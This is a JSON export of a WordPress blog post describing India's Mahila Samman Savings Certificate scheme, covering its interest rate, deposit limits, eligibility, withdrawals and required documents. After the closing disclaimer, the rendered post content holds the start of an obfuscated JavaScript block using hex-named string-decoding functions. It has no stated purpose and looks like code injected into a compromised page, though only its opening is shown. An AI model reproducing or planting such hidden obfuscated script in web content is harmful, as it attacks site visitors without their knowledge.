{"id":7683,"date":"2024-05-16T08:47:32","date_gmt":"2024-05-16T08:47:32","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=7683"},"modified":"2025-06-03T10:28:55","modified_gmt":"2025-06-03T10:28:55","slug":"mahila-samman-savings-scheme","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/","title":{"rendered":"Mahila Samman Savings Certificate Scheme| Features, Eligibility, and Benefits"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#Key_Highlights_Mahila_Samman_Savings_Scheme\" >Key Highlights | Mahila Samman Savings Scheme<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#Mahila_Samman_Savings_Certificate_Scheme_Details\" >Mahila Samman Savings Certificate Scheme Details<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#What_are_the_Features_of_the_Mahila_Samman_Savings_Scheme\" >What are the Features of the Mahila Samman Savings Scheme<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#Mahila_Samman_Savings_Certificate_MSSC_Benefits\" >Mahila Samman Savings Certificate (MSSC) Benefits<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#Eligibility_Criteria_For_Mahila_Samman_Savings_Scheme\" >Eligibility Criteria For Mahila Samman Savings Scheme<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#Mahila_Samman_Savings_Scheme_Additional_Requirements\" >Mahila Samman Savings Scheme| Additional Requirements<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#Deposit_Guidelines_for_Your_Account\" >Deposit Guidelines for Your Account<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#Maturity_Payment_Process\" >Maturity Payment Process<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#Withdrawal_Procedure\" >Withdrawal Procedure<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#How_Can_You_Apply_for_the_Mahila_Samman_Savings_Certificate_Scheme\" >How Can You Apply for the Mahila Samman Savings Certificate Scheme<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#Premature_Closure\" >Premature Closure<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#What_are_the_Documents_Needed_for_the_Mahila_Samman_Savings_Scheme\" >What are the Documents Needed for the Mahila Samman Savings Scheme<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/#FAQs_Mahila_Samman_Savings_Certificate_Scheme\" >FAQs| Mahila Samman Savings Certificate Scheme<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/government-schemes\/\">Government Schemes<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Mahila Samman Savings Certificate Scheme| Features, Eligibility, and Benefits<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\">Are you a daughter, mother or a single independent lady who is often overwhelmed by the mere idea of securing your financial future? What if we told you that the Ministry of Finance offers an incredible <a href=\"https:\/\/shoonya.com\/blog\/saving-schemes-for-women\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">savings scheme for women<\/mark><\/a>? Have you heard about the Mahila Samman Savings Certificate scheme?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is a women\u2019s savings scheme that is available for subscription in the post offices and eligible scheduled banks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">What exactly is the Mahila Samman Savings Certificate scheme, and how can it benefit you?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us take a look!<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-key-highlights-mahila-samman-savings-scheme-\"><span class=\"ez-toc-section\" id=\"Key_Highlights_Mahila_Samman_Savings_Scheme\"><\/span><strong>Key Highlights | Mahila Samman Savings Scheme<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">1. Accessible through Public and <a href=\"https:\/\/shoonya.com\/blog\/top-private-banks-in-india\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Private Sector Banks<\/mark><\/a><strong> <\/strong>and Post Offices.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2. Aimed at financial empowerment of girls and women.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3. Open for subscription until March 31, 2025, with a 2-year tenure.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4. Attractive interest rate of 7.5% per annum, compounded quarterly.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">5. Investment range: Minimum of \u20b91000 up to a maximum of \u20b9200,000.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">6. The maturity period is two years from the account opening date.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">7. Partial withdrawal allowed, up to 40% of the balance during the tenure.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"1-mahila-samman-savings-certificate-scheme-details-\"><span class=\"ez-toc-section\" id=\"Mahila_Samman_Savings_Certificate_Scheme_Details\"><\/span><strong>Mahila Samman Savings Certificate Scheme Details<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Department of Economic Affairs, Ministry of Finance, launched the Mahila Samman Savings Certificate scheme to provide financial security to every girl and woman in India.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here is everything about the Mahila Savings Scheme:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What is the Mahila Samman Savings Certificate?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Mahila Samman Savings Certificate is a one-time women\u2019s savings scheme announced by the government in the<strong> Budget 2023<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Its purpose is to empower women by encouraging their participation in investments. This scheme is government-guaranteed, which means it provides a secure investment option for women.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It has been running since April 1, 2023, and is valid until March 31, 2025.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Public Banks and eligible Private Sector Banks are permitted to implement the scheme.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Who Can Benefit from This Scheme?<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Any girl or woman in India can benefit from the Mahila Samman Savings Certificate.<\/li>\n\n\n\n<li>There is no upper age limit, so women of all ages can participate.<\/li>\n\n\n\n<li>Even minor girls can open an account under this scheme with the help of a guardian.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"2-what-are-the-features-of-the-mahila-samman-savings-scheme\"><span class=\"ez-toc-section\" id=\"What_are_the_Features_of_the_Mahila_Samman_Savings_Scheme\"><\/span>What are the Features of the Mahila Samman Savings Scheme<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The popular Mahila Samman Savings Certificate scheme has some unique aspects:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Attractive Investment Options<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">This women\u2019s saving scheme provides appealing and secure investment opportunities for all girls and women.<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Account Opening<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">You can open an account under this women\u2019s savings scheme on or before March 31, 2025, for a tenure of two years.<\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Mahila Samman Savings Scheme Interest rate<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The deposit made under MSSC will let you earn an interest rate of 7.5% per annum, compounded quarterly.<\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>Deposit Limits<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">This women\u2019s saving scheme allows you a minimum deposit of \u20b91,000\/-, with any sum in multiples of 100. However, you can do this within the maximum limit of \u20b92,00,000\/-.<\/p>\n\n\n\n<ol start=\"5\" class=\"wp-block-list\">\n<li><strong>Maturity Period<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The investment under the Mahila Samman Savings Certificate scheme matures after two years from the date of opening the account.<\/p>\n\n\n\n<ol start=\"6\" class=\"wp-block-list\">\n<li><strong>Flexibility<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">It also offers flexibility in investment and partial withdrawal during the scheme tenure.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If needed, you can withdraw a maximum of up to 40% of the eligible balance in the mahila savings scheme account.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"3-mahila-samman-savings-certificate-mssc-benefits-\"><span class=\"ez-toc-section\" id=\"Mahila_Samman_Savings_Certificate_MSSC_Benefits\"><\/span><strong>Mahila Samman Savings Certificate (MSSC) Benefits<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"900\" src=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/05\/Key-Benefits-of-the-Mahila-Samman-Savings-Certificate-MSSC-Scheme-2.jpg\" alt=\"Key Benefits of the Mahila Samman Savings Certificate (MSSC) Scheme\" class=\"wp-image-12873\" srcset=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/05\/Key-Benefits-of-the-Mahila-Samman-Savings-Certificate-MSSC-Scheme-2.jpg 1200w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/05\/Key-Benefits-of-the-Mahila-Samman-Savings-Certificate-MSSC-Scheme-2-300x225.jpg 300w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/05\/Key-Benefits-of-the-Mahila-Samman-Savings-Certificate-MSSC-Scheme-2-1024x768.jpg 1024w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/05\/Key-Benefits-of-the-Mahila-Samman-Savings-Certificate-MSSC-Scheme-2-768x576.jpg 768w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><figcaption class=\"wp-element-caption\">Key Benefits of the Mahila Samman Savings Certificate (MSSC) Scheme<\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">A government-guaranteed, secure investment option for women.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Earn an effective interest rate of approximately 7.5% per annum, compounded quarterly.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Start with a minimum deposit of \u20b91,000 and add multiples of \u20b9100 up to a maximum of \u20b92,00,000.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Women of all ages, including minor girls, can participate in this scheme.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Still thinking about the suitability of this woman&#8217;s saving scheme for yourself?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Have a look at the benefits of the Mahila Samman Savings Certificate Scheme:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Attractive and Secure Investment Options:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Provides appealing and secure investment options to all girls and women.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Fixed Interest Rate:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Offers an attractive fixed interest of 7.5% compounded quarterly.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Flexible Investment and Partial Withdrawal:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Allows flexible investment and partial withdrawal options.<\/li>\n\n\n\n<li>Maximum ceiling of \u20b92,00,000\/-.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Quarterly Interest Compounding:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Interest is compounded quarterly and credited to the account.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"4-eligibility-criteria-for-mahila-samman-savings-scheme-\"><span class=\"ez-toc-section\" id=\"Eligibility_Criteria_For_Mahila_Samman_Savings_Scheme\"><\/span><strong>Eligibility Criteria For Mahila Samman Savings Scheme<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here are certain con editions that you must fulfil in order to benefit from this government scheme:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Indian Citizenship:<\/strong>\n<ul class=\"wp-block-list\">\n<li>You must hold Indian citizenship.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Women and Girl Children:<\/strong>\n<ul class=\"wp-block-list\">\n<li>This scheme is exclusively for women and girl children.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Individual Woman Applicants:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Any individual woman can apply under the scheme.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Minor Accounts:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Even guardians can open minor accounts.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>No Upper Age Limit<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Women of all ages can benefit from this scheme.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5-mahila-samman-savings-scheme-additional-requirements\"><span class=\"ez-toc-section\" id=\"Mahila_Samman_Savings_Scheme_Additional_Requirements\"><\/span>Mahila Samman Savings Scheme| Additional Requirements<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The women\u2019s saving scheme has some additional guidelines related to the application, deposits, withdrawals and more!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"6-deposit-guidelines-for-your-account-\"><span class=\"ez-toc-section\" id=\"Deposit_Guidelines_for_Your_Account\"><\/span><strong>Deposit Guidelines for Your Account<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Number of Accounts:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Individuals can open any number of accounts, with a three-month gap between each account.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Minimum Deposit:<\/strong>\n<ul class=\"wp-block-list\">\n<li>You can make a minimum deposit of \u20b91000\/\u2014 with subsequent deposits in multiples of one hundred rupees.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Maximum Deposit:<\/strong>\n<ul class=\"wp-block-list\">\n<li>The maximum limit for deposit is \u20b92,00,000\/- per account holder.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"7-maturity-payment-process-\"><span class=\"ez-toc-section\" id=\"Maturity_Payment_Process\"><\/span><strong>Maturity Payment Process<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Maturity Period:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Deposits mature after two years from the deposit date.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Maturity Value Calculation:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Under this mahila saving scheme, any fraction of a rupee is rounded off to the nearest rupee.<\/li>\n\n\n\n<li>Consider fifty paisa or more as one rupee, while anything less than fifty paisa gets ignored.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"8-withdrawal-procedure-\"><span class=\"ez-toc-section\" id=\"Withdrawal_Procedure\"><\/span><strong>Withdrawal Procedure<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Maximum Withdrawal<\/strong>\n<ul class=\"wp-block-list\">\n<li>Account holders can withdraw up to 40% of the Eligible Balance after one year from the account opening but before maturity.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Withdrawal for Minor Accounts<\/strong>\n<ul class=\"wp-block-list\">\n<li>Guardians can apply for withdrawal on behalf of minor girls by submitting specified certificates to the accounts office.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Withdrawal Calculation<\/strong>\n<ul class=\"wp-block-list\">\n<li>Similar to maturity value calculation, fractions of a rupee are rounded off.<\/li>\n\n\n\n<li>Fifty paisa or more is considered as one rupee, while less than fifty paisa is ignored.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Can the Mahila Samman Savings Certificate be closed before its term?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Yes, investors can close the account early under specific circumstances. They can do so six months after opening without needing a reason.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In this case, the interest rate will be two percent lower.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Other situations for early closure include the death of the account holder or extreme compassionate reasons.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"9-how-can-you-apply-for-the-mahila-samman-savings-certificate-scheme\"><span class=\"ez-toc-section\" id=\"How_Can_You_Apply_for_the_Mahila_Samman_Savings_Certificate_Scheme\"><\/span>How Can You Apply for the Mahila Samman Savings Certificate Scheme<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here is the step-by-step application process for the Mahila Savings scheme:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>You must visit your closest Post Office Branch or a designated bank to take the Mahila Samaan saving certificate scheme form.<\/li>\n\n\n\n<li>You can directly<a href=\"https:\/\/www.indiapost.gov.in\/VAS\/DOP_PDFFiles\/MSSC\/Mahila_Samman_Savings_Certificate_2023_English.pdf\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"> <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">download<\/mark><\/a> it from the <a href=\"https:\/\/dea.gov.in\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">official website<\/mark><\/a>.<\/li>\n\n\n\n<li>Next, you must fill in the application form and attach all the necessary documents.<\/li>\n\n\n\n<li>Declare and Nominate:<br>Fill in the declaration and nomination details as required.<\/li>\n\n\n\n<li>Once done, you need to submit the filled-out application form along with the initial investment\/deposit amount.<\/li>\n\n\n\n<li>You&#8217;ll receive a certificate as proof of your investment in the MSSC Mahila Samman Savings Certificate scheme.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Remember:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>In order to benefit from this scheme, women can apply for themselves. For the minors, their guardians can apply on behalf of minor girls before March 31, 2025.<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"10-premature-closure-\"><span class=\"ez-toc-section\" id=\"Premature_Closure\"><\/span><strong>Premature Closure<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">If you need to close your account early:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>You cannot normally close your account before it matures, except:\n<ul class=\"wp-block-list\">\n<li>If the account holder passes away.<\/li>\n\n\n\n<li>In cases of severe situations like life-threatening illness or the guardian&#8217;s death causing undue hardship, the post office or bank may allow early closure after proper documentation.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>If you <strong>close your account early<\/strong>, you will get the Mahila Samaan savings scheme interest rate on the principal amount according to the scheme&#8217;s rate.<\/li>\n\n\n\n<li>If you <strong>close the account after six month<\/strong>s from opening for reasons other than those mentioned, the balance will earn interest at a rate 2% lower than the scheme&#8217;s rate.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><em>When calculating the final value by rounding off any fraction of a rupee, consider fifty paise or more as one rupee and ignore anything less than fifty paise.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>You may also want to know the<\/em><\/strong> <strong><em><a href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-mudra-yojana\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Pradhan Mantri Mudra Yojana<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"11-what-are-the-documents-needed-for-the-mahila-samman-savings-scheme\"><span class=\"ez-toc-section\" id=\"What_are_the_Documents_Needed_for_the_Mahila_Samman_Savings_Scheme\"><\/span>What are the Documents Needed for the Mahila Samman Savings Scheme<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Documents Required<\/strong><\/td><\/tr><tr><td>1. Passport size photograph<\/td><\/tr><tr><td>2. Proof of age, i.e. Birth Certificate<\/td><\/tr><tr><td>3. Aadhaar Card<\/td><\/tr><tr><td>4. PAN Card<\/td><\/tr><tr><td>5. Pay-in-Slip along with deposit amount or cheque<\/td><\/tr><tr><td>6. Valid documents for identification and address proof:<\/td><\/tr><tr><td>&#8211; Passport<\/td><\/tr><tr><td>&#8211; Driving license<\/td><\/tr><tr><td>&#8211; Voter\u2019s ID card<\/td><\/tr><tr><td>&#8211; Job card issued by NREGA signed by the State Government officer<\/td><\/tr><tr><td>&#8211; Letter issued by the National Population Register including details of name and address<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"12-conclusion\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Mahila Samman Savings Certificate Scheme (MSSC) is a government-guaranteed opportunity aimed at empowering women financially. With an attractive interest rate of 7.5% per annum compounded quarterly, it offers a secure investment option for women of all ages, including minor girls. If you are looking to secure your financial future, the Mahila Samman Savings Scheme is indeed a great option.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"13-faqs-mahila-samman-savings-certificate-scheme\"><span class=\"ez-toc-section\" id=\"FAQs_Mahila_Samman_Savings_Certificate_Scheme\"><\/span>FAQs| Mahila Samman Savings Certificate Scheme<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1715846194292\"><strong class=\"schema-faq-question\">1. What is the benefit of the Mahila Samman Savings Scheme?<\/strong> <p class=\"schema-faq-answer\">Women who invest in this scheme will earn a 7.5% interest every year on their one-time deposit. The scheme is valid for 2 years.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1715846225890\"><strong class=\"schema-faq-question\">2. When does the maturity of the account occur?<\/strong> <p class=\"schema-faq-answer\">Your account matures after two years from the opening date. At that time, you&#8217;ll receive the money you&#8217;ve saved up.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1715846239058\"><strong class=\"schema-faq-question\">3. Can I open a Mahila Samman savings account online?<\/strong> <p class=\"schema-faq-answer\">Yes, a Mahila Samman savings account can be opened online using the official portal or through authorised banks offering this service.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1715846251939\"><strong class=\"schema-faq-question\">4. Which is better: Sukanya Samriddhi Yojana or Mahila Samman Saving Certificate?<\/strong> <p class=\"schema-faq-answer\">The choice between Sukanya Samriddhi Yojana (SSY) and Mahila Samman Saving Certificate (MSSC) depends on individual financial goals; SSY is ideal for long-term savings for a girl child&#8217;s education and marriage, while MSSC offers a fixed return with a shorter maturity period.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source-<\/strong> <a href=\"https:\/\/www.myscheme.gov.in\/schemes\/pmmy#benefits\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">myscheme.gov.in<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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What if we told you that the Ministry of Finance offers an incredible savings scheme for women? Have you heard about the Mahila Samman Savings Certificate scheme? It is a women\u2019s savings &hellip; <a href=\"https:\/\/shoonya.com\/blog\/mahila-samman-savings-scheme\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Mahila Samman Savings Certificate Scheme| Features, Eligibility, and Benefits&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":7688,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[3760],"tags":[3946,3940,3942,3677,3941,3943,3944,3945],"class_list":["post-7683","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-government-schemes","tag-mahila-saman-savings-scheme","tag-mahila-samman-savings-certificate-scheme","tag-mahila-samman-savings-certificate-scheme-details","tag-mahila-samman-savings-scheme","tag-mahila-samman-savings-scheme-interest-rate","tag-mahila-savings-scheme","tag-women-savings-scheme","tag-womens-savings-scheme"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Benefits of Mahila Samman Savings Certificate Scheme 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